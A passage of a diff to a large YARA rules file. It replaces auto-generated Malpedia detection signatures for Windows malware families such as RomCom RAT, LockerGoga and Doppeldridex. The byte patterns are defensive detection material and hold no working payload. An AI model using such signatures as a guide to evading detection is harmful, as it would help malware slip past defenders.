-		$sequence_3 = { 4889fa e8???????? 4889f9 4889fa e8???????? 4c89f1 }
-		$sequence_4 = { 29e8 488bac24a8000000 894500 895504 44895d08 }
-		$sequence_5 = { 490fafc6 4801c2 4889942440010000 4c89842488000000 4c89c0 480fafc1 }
-		$sequence_6 = { 4f037ce538 4c21df 4c31d7 4e03bce498000000 4831c1 4901ff 4c89c8 }
-		$sequence_7 = { 2b6a24 448901 44894904 44895108 4489590c 44897110 897114 }
-		$sequence_8 = { 4883ec28 e8???????? 4885c0 7409 488b4010 }
-		$sequence_9 = { c1e802 4122c2 41884041 8bc2 83e003 8a0481 498bc8 }
+		$sequence_0 = { 8b7d08 2175fc 397714 7e2a ff770c 8b33 8bcb }
+		$sequence_1 = { 0f434dd8 837dd408 8d5598 52 8d9550ffffff 52 }
+		$sequence_2 = { 3938 8b45ec 7408 8b4de8 3b4810 7327 8b4e08 }
+		$sequence_3 = { 6a0f 50 ff15???????? 85c0 7402 32c0 c20800 }
+		$sequence_4 = { 8b02 6a04 8b4804 03ca e8???????? }
+		$sequence_5 = { 6a1c e8???????? 59 85c0 7420 33c9 c7400410000000 }
+		$sequence_6 = { c1f805 83e21f 8b0c85f0974400 c1e206 8a441124 3245fe 247f }
+		$sequence_7 = { 51 8d55c8 8d4d8c e8???????? 83c410 84c0 7445 }
+		$sequence_8 = { 8bf9 50 e8???????? ff7518 8d45ec ff7514 8bcf }
+		$sequence_9 = { 03f0 8b442424 2bc1 99 f77c2418 47 3bf8 }
 
 	condition:
-		7 of them and filesize <779264
+		7 of them and filesize <724992
 }
-rule MALPEDIA_Win_Romcom_Rat_Auto : FILE
+rule MALPEDIA_Win_Unidentified_003_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "38f54401-b8aa-5a45-84bf-23c46fbb1d9b"
+		id = "078af5cf-1960-57c1-ad2f-834d23801cf0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.romcom_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.romcom_rat_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_003"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_003_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "0162bd825b9587687f6d0e11e69966dd0894464ab2922749a2bae5afcccbf5b8"
+		logic_hash = "44e97183e244c5496d21c90ef879a2c3ae0327847947e2b5ee30ab46305a46ce"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -137007,32 +144062,32 @@ rule MALPEDIA_Win_Romcom_Rat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { b910000000 e8???????? 488945a0 4885c0 7410 44897008 488d0d6fc20400 }
-		$sequence_1 = { d3e8 49895108 418901 49895110 0fb60a 83e10f 4a0fbe8401a0ac0600 }
-		$sequence_2 = { 488d95e0310000 488d4dc0 e8???????? 448bc6 33d2 488d8de0310000 e8???????? }
-		$sequence_3 = { 488b01 488b4030 ff15???????? 83f8ff 7406 41884709 eb03 }
-		$sequence_4 = { 482bc1 4883c0f8 4883f81f 0f877d030000 e8???????? 488d4580 48837d9808 }
-		$sequence_5 = { 8a4709 3a4508 744b 84c9 7542 488b0f 4885c9 }
-		$sequence_6 = { 488d0dbac50400 488908 eb03 498bc6 4c8bc3 488bd0 488bcf }
-		$sequence_7 = { eb04 4d895d00 b801000000 41884508 488b542468 eb05 b801000000 }
-		$sequence_8 = { f20f10fc f20f58cc f20f10d1 f20f10c1 4c8d0d39090300 f20f101d???????? f20f100d???????? }
-		$sequence_9 = { 7510 488d0d12c90500 e8???????? 85c0 742e 32c0 eb33 }
+		$sequence_0 = { 8945ec a1???????? 0fb7506f 0fb7406d c1e210 0bd0 }
+		$sequence_1 = { c68564ffffff01 33c0 8a88c2100900 888c0566ffffff 40 }
+		$sequence_2 = { e8???????? 83c40c 8b07 5d c3 55 8bec }
+		$sequence_3 = { a1???????? ff75f0 ff7028 ff15???????? eb0a }
+		$sequence_4 = { 395da0 740f ff75a4 ff15???????? 895da0 }
+		$sequence_5 = { 3bfe 7502 8bfb 39742410 }
+		$sequence_6 = { 59 85c0 7417 47 81c614010000 3b3d???????? 72c8 }
+		$sequence_7 = { 8bec 81ec20080000 53 56 57 8d85e0fdffff 8945ec }
+		$sequence_8 = { 7575 385d6e 743b 39bd5cffffff 750a c705????????07000000 399d5cffffff }
+		$sequence_9 = { ff15???????? 85c0 0f88b4010000 8b45e4 3bc3 0f84a9010000 8b08 }
 
 	condition:
-		7 of them and filesize <1211392
+		7 of them and filesize <57344
 }
-rule MALPEDIA_Win_Sidewalk_Auto : FILE
+rule MALPEDIA_Win_Coronavirus_Ransomware_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "14b78b08-c08d-56d8-91d9-454c97efb0a9"
+		id = "855b633b-3844-51b6-884b-ae39212160b9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sidewalk"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sidewalk_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.coronavirus_ransomware"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.coronavirus_ransomware_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "db7fd110ccdf76bd73169627fa283b7d029f717432de6e469dcea6c6c2ec5ed7"
+		logic_hash = "cdd2b8f03fb9e73cf8c1c825b178f3065340bed6f25c08a712318c114ae54239"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -137046,35 +144101,32 @@ rule MALPEDIA_Win_Sidewalk_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4403e8 4133db 418bcd c1c307 }
-		$sequence_1 = { 0bc8 41890c10 488d5204 4983e901 75d4 }
-		$sequence_2 = { 33c3 c1c207 c1c00c 4403c8 4533d1 }
-		$sequence_3 = { 488b05???????? 83780c00 7405 e8???????? }
-		$sequence_4 = { 488d040a 483bc6 7ce2 4883c640 }
-		$sequence_5 = { 8bc2 33c6 c1c010 4403d8 4133db }
-		$sequence_6 = { 750e 488bcf ff15???????? 4885c0 }
-		$sequence_7 = { c1c610 4433f2 c1c710 4403df 41c1c610 4503e6 }
-		$sequence_8 = { 41c1c610 4503e6 4403cb 4533d1 4403ee 41c1c210 418bc3 }
-		$sequence_9 = { 884202 884a03 4183f810 7ccc }
-		$sequence_10 = { 0fb642fe c1e108 0bc8 41890c10 }
-		$sequence_11 = { ff15???????? 4885c0 750e 488bcf }
-		$sequence_12 = { 8a040f 3201 41880408 48ffc1 }
+		$sequence_0 = { 8d9b00000000 0fb708 66890c02 83c002 6685c9 75f1 8d8dec7effff }
+		$sequence_1 = { 894dd8 837e0400 8b5608 c745dc00000000 8955e0 750a 8b45cc }
+		$sequence_2 = { 50 ff15???????? 85c0 7420 b8???????? e8???????? 50 }
+		$sequence_3 = { 68fe1f0000 52 8d859e9fffff 50 e8???????? 33c9 }
+		$sequence_4 = { 83c002 50 52 68???????? 8d8500c0ffff }
+		$sequence_5 = { 53 e8???????? 83c410 85ff 743b 8d4900 803c1fc3 }
+		$sequence_6 = { ff15???????? 8b15???????? a1???????? 83c418 52 6a01 50 }
+		$sequence_7 = { 8b55d0 880417 8b45c8 50 ff15???????? 56 ff15???????? }
+		$sequence_8 = { ffd6 a3???????? eb0a 53 }
+		$sequence_9 = { ff15???????? 85c0 7407 ffd0 a3???????? be???????? e8???????? }
 
 	condition:
-		7 of them and filesize <237568
+		7 of them and filesize <235520
 }
-rule MALPEDIA_Win_Alma_Locker_Auto : FILE
+rule MALPEDIA_Win_Narilam_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a8975e90-f59f-53dc-8c8c-bbe753edcfd3"
+		id = "da9d4048-8edf-5bad-820f-4e60bf8a1167"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alma_locker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.alma_locker_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.narilam"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.narilam_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "df780972bf15a2baf7532cad09aa2dd13a5bee9ccc29d4fb62357c0162af8a26"
+		logic_hash = "9c97c97f1983ca4888bd0ceffb3db6cc9301c52fb6e7adafbcc7af03cf7073fe"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -137088,32 +144140,32 @@ rule MALPEDIA_Win_Alma_Locker_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d8d6cfeffff e8???????? 83c404 8d4d8c c645fc07 51 8bd0 }
-		$sequence_1 = { 720e ffb5ccfeffff e8???????? 83c404 837da008 720b ff758c }
-		$sequence_2 = { 0304b5e86a0210 59 eb02 8bc3 8a4024 247f 3c01 }
-		$sequence_3 = { 50 ff15???????? 8bf0 89b52cfaffff }
-		$sequence_4 = { 83e11f c1f805 c1e106 8b0485e86a0210 f644080401 7405 }
-		$sequence_5 = { 8d8dd0fbffff e8???????? c645fc03 8d85d0fbffff 83bde4fbffff10 0f4385d0fbffff }
-		$sequence_6 = { b9???????? e8???????? 33c0 c645fc1f 33c9 66a3???????? 66390d???????? }
-		$sequence_7 = { 81fbfeffff7f 0f87ab000000 8b4614 3bc3 7325 ff7610 53 }
-		$sequence_8 = { b9???????? c705????????07000000 0f44f8 c705????????00000000 57 68???????? }
-		$sequence_9 = { 83c404 c78584fbffff0f000000 c78580fbffff00000000 c68570fbffff00 83bd9cfbffff10 720e }
+		$sequence_0 = { e8???????? f645f801 7518 8d55f4 a1???????? e8???????? 8b45f4 }
+		$sequence_1 = { 8d8550ffffff ba02000000 e8???????? 66c785dcfeffffe801 ba???????? 8d854cffffff e8???????? }
+		$sequence_2 = { e8???????? 8b55fc 8bc6 e8???????? 8bf8 e9???????? 8d5308 }
+		$sequence_3 = { eb83 e9???????? 66b86801 ebf5 66b86901 ebef 66b86a01 }
+		$sequence_4 = { e8???????? eb08 8b45fc e8???????? 33c0 5a 59 }
+		$sequence_5 = { e8???????? c3 3a90e2020000 740b 8890e2020000 e8???????? c3 }
+		$sequence_6 = { e8???????? 8bc8 8bd3 8b831c020000 ff9318020000 33c0 8a45ff }
+		$sequence_7 = { a5 a5 a5 8d4584 8d4dd4 ba04000000 e8???????? }
+		$sequence_8 = { ff852cffffff 8d5588 8d45fc e8???????? ff8d2cffffff 8d4588 ba02000000 }
+		$sequence_9 = { 8d8580feffff e8???????? ff854cfeffff 8d9580feffff 8d45fc e8???????? ff8d4cfeffff }
 
 	condition:
-		7 of them and filesize <335872
+		7 of them and filesize <3325952
 }
-rule MALPEDIA_Win_Lockergoga_Auto : FILE
+rule MALPEDIA_Win_Powersniff_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1c23217f-5659-545b-a560-32c15b901216"
+		id = "1afa4094-a9fd-5e6f-8667-60dff005c0b1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lockergoga"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lockergoga_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.powersniff"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.powersniff_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "0b1cfe6b39387960d8fabaa4bf38642a4ddd7ce3aadb70d3ac9c167b96d0b767"
+		logic_hash = "7ad286ca27751eb193f2579d1930e5287fef0e22f2b28df0af9c7874b91d42c3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -137127,34 +144179,34 @@ rule MALPEDIA_Win_Lockergoga_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e9???????? 33c0 897dd4 8b560c 33c9 894514 3bc3 }
-		$sequence_1 = { 725e 8b06 8b7e38 8b80e4000000 89459c 3bd7 722c }
-		$sequence_2 = { e8???????? 50 ffb5f0feffff 8d85c0feffff c645fc0c 50 8bcf }
-		$sequence_3 = { ff10 8d4b10 e8???????? 6a38 53 e8???????? 83c408 }
-		$sequence_4 = { e8???????? 8d45d8 c645fc04 50 8bcb e8???????? 8b1b }
-		$sequence_5 = { e8???????? 8d45c0 c645fc01 50 8bce e8???????? 8bf0 }
-		$sequence_6 = { 8b4df0 33cd e8???????? 8be5 5d c3 ff7594 }
-		$sequence_7 = { 8b5904 8b7d0c 8975e8 8975ec 8945f0 c745fc00000000 85ff }
-		$sequence_8 = { f30f7e4710 660fd64610 c7471000000000 c747140f000000 c60700 83c718 c745fcffffffff }
-		$sequence_9 = { e8???????? 8bc8 3bcf 7413 837f1410 8bc7 7202 }
+		$sequence_0 = { 53 ff35???????? 8945f8 895dfc }
+		$sequence_1 = { 8b45f4 b94d5a0000 663908 7405 6a0b 5b eb0f }
+		$sequence_2 = { 53 56 8b35???????? 57 8d85d8fdffff 50 33db }
+		$sequence_3 = { c1eb10 8975fc 8b75f8 c1ee18 8b34b590780010 0fb6db }
+		$sequence_4 = { 50 8d45f8 50 ff75fc e8???????? 8bd8 3bde }
+		$sequence_5 = { c745fc08000000 eb09 ff15???????? 8945fc 8b45fc 5f 5e }
+		$sequence_6 = { ff15???????? 8bf8 897df0 3bfb 7435 8d4508 50 }
+		$sequence_7 = { 55 8bec 83ec0c 8b473c 03c7 53 8b9880000000 }
+		$sequence_8 = { ff15???????? 85c0 0f84b4000000 8d8590feffff 50 ffd3 034574 }
+		$sequence_9 = { a1???????? 53 68???????? ff750c 8945f8 ff7508 }
 
 	condition:
-		7 of them and filesize <2588672
+		7 of them and filesize <90112
 }
-rule MALPEDIA_Win_Retefe_Auto : FILE
+rule MALPEDIA_Win_Grok_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f3caa6e6-3618-52a1-825b-c9f70c1ac6ab"
+		id = "870cf4c1-459b-52f4-a686-b281f5585948"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.retefe"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.retefe_auto.yar#L1-L263"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grok"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.grok_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "60c0df86aaa8e365109479b1ca3f3fca53ccf95fd2fbd33ae20876e0704e51b2"
+		logic_hash = "f55e3b1924db1bff1757dac784f11d8f8a3020681a2893ba57b274944ef08137"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -137166,51 +144218,32 @@ rule MALPEDIA_Win_Retefe_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a00 6a01 ff15???????? 8bf0 85f6 7410 6a09 }
-		$sequence_1 = { 51 8bf8 ffd6 85c0 }
-		$sequence_2 = { 68f5000000 50 ff15???????? b801000000 }
-		$sequence_3 = { e8???????? 6a08 e8???????? 894604 }
-		$sequence_4 = { 6a24 6a5a 6a24 e8???????? 81c494000000 }
-		$sequence_5 = { 8b4e04 8901 8b4e04 33c0 83c404 394104 }
-		$sequence_6 = { 6a0e 6aeb 6a1a 6a96 6a0d }
-		$sequence_7 = { 894604 83c404 8bc6 e8???????? }
-		$sequence_8 = { 51 ff15???????? 8b95d8efffff 50 52 ff15???????? 50 }
-		$sequence_9 = { 52 e8???????? 8b4e04 8901 }
-		$sequence_10 = { 6ad1 6a1a 6a55 6ad7 6ad1 }
-		$sequence_11 = { 880c10 8b4e04 40 3b4104 }
-		$sequence_12 = { 50 e8???????? 83c408 e8???????? 99 b960f59000 }
-		$sequence_13 = { 8bec 837d0c00 7409 b80b000280 }
-		$sequence_14 = { 56 33f6 8b86a0bf4200 85c0 740e }
-		$sequence_15 = { 43 85ff 0f851fffffff 5f }
-		$sequence_16 = { 6a00 ffb42424200000 e8???????? 8b8c2418200000 }
-		$sequence_17 = { 8b0495a0bf4200 f644082801 7421 57 e8???????? }
-		$sequence_18 = { 46 85f6 7410 83fe01 75a0 }
-		$sequence_19 = { 0fb611 0fb6c0 eb17 81fa00010000 7313 8a87ccb14200 }
-		$sequence_20 = { 8b742414 85f6 7553 32c0 }
-		$sequence_21 = { 57 81fb00020000 0f8daa000000 6800080000 }
-		$sequence_22 = { 8b4218 a3???????? 8b4a08 890d???????? 8b420c }
-		$sequence_23 = { 33c0 668906 8b7c2414 8d5f20 }
-		$sequence_24 = { e8???????? 8b404c 83b8a800000000 7512 8b04bda0bf4200 807c302900 7504 }
-		$sequence_25 = { 88048d93404300 88048d923c4300 84d2 7412 }
-		$sequence_26 = { 8b7004 8b38 4e 8bce e8???????? }
-		$sequence_27 = { 8b4d08 85c9 7512 e8???????? 5e }
-		$sequence_28 = { 5f 894df0 8b34cd58224100 8b4d08 6a5a 2bce }
+		$sequence_0 = { 39702c 7413 56 ff702c ffd3 a1???????? 89702c }
+		$sequence_1 = { 7c62 a1???????? 397044 7412 56 ff7044 ff15???????? }
+		$sequence_2 = { 51 57 50 e8???????? 83c40c 57 53 }
+		$sequence_3 = { 33ff 897dd8 81ff00010000 7d28 8d0c17 8b4514 03c7 }
+		$sequence_4 = { a1???????? 895820 a1???????? 395824 }
+		$sequence_5 = { 894df4 eb09 8b55f4 83c201 8955f4 8b45f8 83c009 }
+		$sequence_6 = { 5f 56 56 6a22 6a01 56 }
+		$sequence_7 = { 50 e8???????? 3bc3 7d7e 395d08 7479 3d430000c0 }
+		$sequence_8 = { 33ff 47 3bc3 8945fc 0f8c9c000000 391d???????? 7410 }
+		$sequence_9 = { 53 51 03c6 50 e8???????? 8b463c 8d8c3080000000 }
 
 	condition:
-		7 of them and filesize <843776
+		7 of them and filesize <84992
 }
-rule MALPEDIA_Win_Unidentified_100_Auto : FILE
+rule MALPEDIA_Win_Noxplayer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ef81c2e4-5fa3-571d-bebe-aeaf2bbd4859"
+		id = "aeae21d3-7da2-50ec-a0e6-bf9f936a4ea7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_100"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_100_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.noxplayer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.noxplayer_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "144a60b0164255f58e6624e761b77d4aa80b8a589ef3259bf29c12a9ff5a78b0"
+		logic_hash = "1a7d1e8968616ef04ac90265f765d718da000484253d6b729f0bd247a60f8bd7"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -137224,32 +144257,32 @@ rule MALPEDIA_Win_Unidentified_100_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 488d9424f0030000 488b4c2448 e8???????? e9???????? 4c8d8c2490070000 4533c0 488d942470130000 }
-		$sequence_1 = { 4889442420 4c8d8c24e0020000 448b442458 8b54245c 8b4c2454 }
-		$sequence_2 = { 0f8dac000000 c644242000 eb0b 0fb6442420 fec0 88442420 0fb6442420 }
-		$sequence_3 = { 448bc3 488d1580860000 e8???????? 85c0 7429 }
-		$sequence_4 = { 488bf8 33c0 b9fe010000 f3aa 4c8b8c24b8060000 4c8b8424b0060000 488d156dfd0100 }
-		$sequence_5 = { eb1d 488d05a7690100 ffcb 488d0c9b 488d0cc8 ff15???????? ff0d???????? }
-		$sequence_6 = { 488d05a7690100 ffcb 488d0c9b 488d0cc8 ff15???????? }
-		$sequence_7 = { ffc0 8944243c 486344243c 483b442458 7320 486344243c }
-		$sequence_8 = { 33c0 b97a010000 f3aa 488d8424b0190000 488d0deee80100 }
-		$sequence_9 = { 488b842490030000 4889842490000000 48c7442458ffffffff 48ff442458 488b842490000000 488b4c2458 66833c4800 }
+		$sequence_0 = { 488941b0 488b42b8 41b8a8000000 488941b8 488b42c0 488941c0 8b42c8 }
+		$sequence_1 = { 413bd0 7511 48ffc1 4883c004 4883f904 7ce7 32c0 }
+		$sequence_2 = { 4803c1 48898398000000 488b4350 488b4818 48898bb0000000 0f28742470 440f28442460 }
+		$sequence_3 = { e8???????? 488d542450 b904010000 ff15???????? 4c8d05403b0300 488d4c2450 ba04010000 }
+		$sequence_4 = { 4c8d4e34 4c8b442458 488bd6 488b4e58 e8???????? 488d5614 488b4e50 }
+		$sequence_5 = { 488d5557 498d4c2408 e8???????? 488bd8 488d45b7 483bd8 7422 }
+		$sequence_6 = { 488bf2 488bf9 488d91c0000000 488d4c2428 e8???????? 90 488dafa0000000 }
+		$sequence_7 = { 4c894c2470 488b4508 4c3bc8 740f 418b4918 390e 7c07 }
+		$sequence_8 = { 8d4801 488d93b8000000 8b02 3bc8 741b 8b83c0000000 488b8b88000000 }
+		$sequence_9 = { 4489642460 4c8d442458 488d542460 488bc8 e8???????? eb03 498bc5 }
 
 	condition:
-		7 of them and filesize <372736
+		7 of them and filesize <742400
 }
-rule MALPEDIA_Win_Lockfile_Auto : FILE
+rule MALPEDIA_Win_Doppeldridex_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "544691b3-5a18-5d07-a020-f938e5dff9ba"
+		id = "0bf161f5-a608-54fc-8493-d0ca4c837703"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lockfile"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lockfile_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doppeldridex"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.doppeldridex_auto.yar#L1-L158"
 		license_url = "N/A"
-		logic_hash = "dc414bc646e8b114a7dca14d5155afbe9c4203cc45e95fbd463e125e3eb42e08"
+		logic_hash = "fb6ff8ebf9c5a6a0d85322be3122e60be6bc024bdfc953709614ec984b12824b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -137263,32 +144296,38 @@ rule MALPEDIA_Win_Lockfile_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 418bdc 33d9 8bcb 4123cf 4133cc 03d1 8955bb }
-		$sequence_1 = { 488b4b58 49894a48 488b5360 49895250 48837b6010 7731 41c6424101 }
-		$sequence_2 = { 488bf1 33d2 e8???????? 33d2 48895618 48895620 }
-		$sequence_3 = { e9???????? 4c8d4c245c 4c8d4570 488d15b31e0600 488d8d70020000 e8???????? 488d8d70020000 }
-		$sequence_4 = { 85c0 7411 836530fe 488b4d38 4883c178 e8???????? }
-		$sequence_5 = { 57 4883ec20 8bfa 488bd9 488b4908 4885c9 740b }
-		$sequence_6 = { 0f845c010000 83792801 0f8552010000 e8???????? 8bd8 483bde 480f42de }
-		$sequence_7 = { 0f84a5000000 488b0d???????? 488b15???????? 4c3bc1 750d 488bc1 48d1e8 }
-		$sequence_8 = { 41c1c802 4123cb 418bd1 0bc8 c1c205 03cd 418bc0 }
-		$sequence_9 = { 88458c 8b4580 0409 3465 88458d 8b4580 040a }
+		$sequence_0 = { 01501c 015020 015024 01500c }
+		$sequence_1 = { 33d2 3b7c2414 0f4cd3 032c24 03ee 2bea 8bc5 }
+		$sequence_2 = { 011483 40 3b06 7cf8 }
+		$sequence_3 = { 010c28 8b4e04 42 8d41f8 d1e8 }
+		$sequence_4 = { 017c240c 3b5c2408 0f822affffff ff74240c }
+		$sequence_5 = { 030c24 0fbe01 88442458 85c0 }
+		$sequence_6 = { 01500c 833920 751c 8bc1 }
+		$sequence_7 = { 0306 894218 47 3b7c2408 }
+		$sequence_8 = { 7508 8b45f8 83c40c 5d c3 }
+		$sequence_9 = { 8b459c 83c474 5e 5f 5b }
+		$sequence_10 = { 5e 5f 5d c3 8b45e4 8b4dec 8a1401 }
+		$sequence_11 = { 8945e0 74c2 eb9b 8b45f0 353857544f }
+		$sequence_12 = { 0fb7c7 89442408 894c240c 8b45ac }
+		$sequence_13 = { 8b4da0 83f900 898570ffffff 0f840c010000 e9???????? }
+		$sequence_14 = { 7452 eb22 668b45c6 66c1e801 0fb7c8 }
+		$sequence_15 = { 8b5dbc 891c24 89442404 0fb7c7 }
 
 	condition:
-		7 of them and filesize <1163264
+		7 of them and filesize <360448
 }
-rule MALPEDIA_Win_Neteagle_Auto : FILE
+rule MALPEDIA_Win_Nimrev_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1db1653f-5505-5d3a-ba38-0bc41fb6ed7f"
+		id = "62b602c2-9378-5d4d-8f76-ba10a1fe3c95"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.neteagle"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.neteagle_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nimrev"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nimrev_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "6f0c75693d906262c5895d882d984643cdff0e946d0c3df9bf0f7a28d5c9d704"
+		logic_hash = "276c930d9217520c07d5dbe59ac126b04c22edd3ab1aa62095745bbe5305f85e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -137302,32 +144341,32 @@ rule MALPEDIA_Win_Neteagle_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d4c2418 e8???????? 8d4c2418 e8???????? 8b84241c300000 89742410 3bc6 }
-		$sequence_1 = { 83c408 50 51 8d442428 }
-		$sequence_2 = { c68424240200000d 8bcc 8964242c 68???????? e8???????? }
-		$sequence_3 = { 6a00 6a00 57 56 6840800000 ff15???????? }
-		$sequence_4 = { c684241802000018 8bcc 89642424 8d542428 52 e8???????? 8d442420 }
-		$sequence_5 = { 8d4dec e8???????? 6800100000 8d4dec c645fc0d e8???????? 8b16 }
-		$sequence_6 = { 8d4c2428 c68424540c000006 e8???????? 8d542414 68???????? 8d442414 52 }
-		$sequence_7 = { c684241002000004 e8???????? 8d4e34 c684241002000005 e8???????? 8d4e38 c684241002000006 }
-		$sequence_8 = { 52 6a00 6a00 8b3d???????? ffd7 83f820 7f1b }
-		$sequence_9 = { 888c0414010000 40 3bc6 7ced 8d942414010000 8d4c240c 52 }
+		$sequence_0 = { ffd0 90 e9???????? 90 b9d0070000 e8???????? }
+		$sequence_1 = { c1e002 01d0 01c0 29c1 89c8 83c030 89c1 }
+		$sequence_2 = { b801000000 eb05 b800000000 8845f7 eb01 90 }
+		$sequence_3 = { b801000000 eb05 b800000000 8845f7 eb01 90 0fb645f7 }
+		$sequence_4 = { eb05 b800000000 8845f7 eb01 90 }
+		$sequence_5 = { 83f001 84c0 7408 90 }
+		$sequence_6 = { 0fb600 3c7d 7407 b801000000 eb05 }
+		$sequence_7 = { 89c1 e8???????? eb04 90 eb01 90 }
+		$sequence_8 = { 3c7d 7407 b801000000 eb05 }
+		$sequence_9 = { eb01 90 0fb645f6 8845f7 }
 
 	condition:
-		7 of them and filesize <262144
+		7 of them and filesize <1141760
 }
-rule MALPEDIA_Win_Tinba_Auto : FILE
+rule MALPEDIA_Win_Starcruft_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8b073df0-6973-5487-9d6c-3a57aeeab821"
+		id = "1dcafb43-c4d2-514a-8438-617d875e41e7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinba"
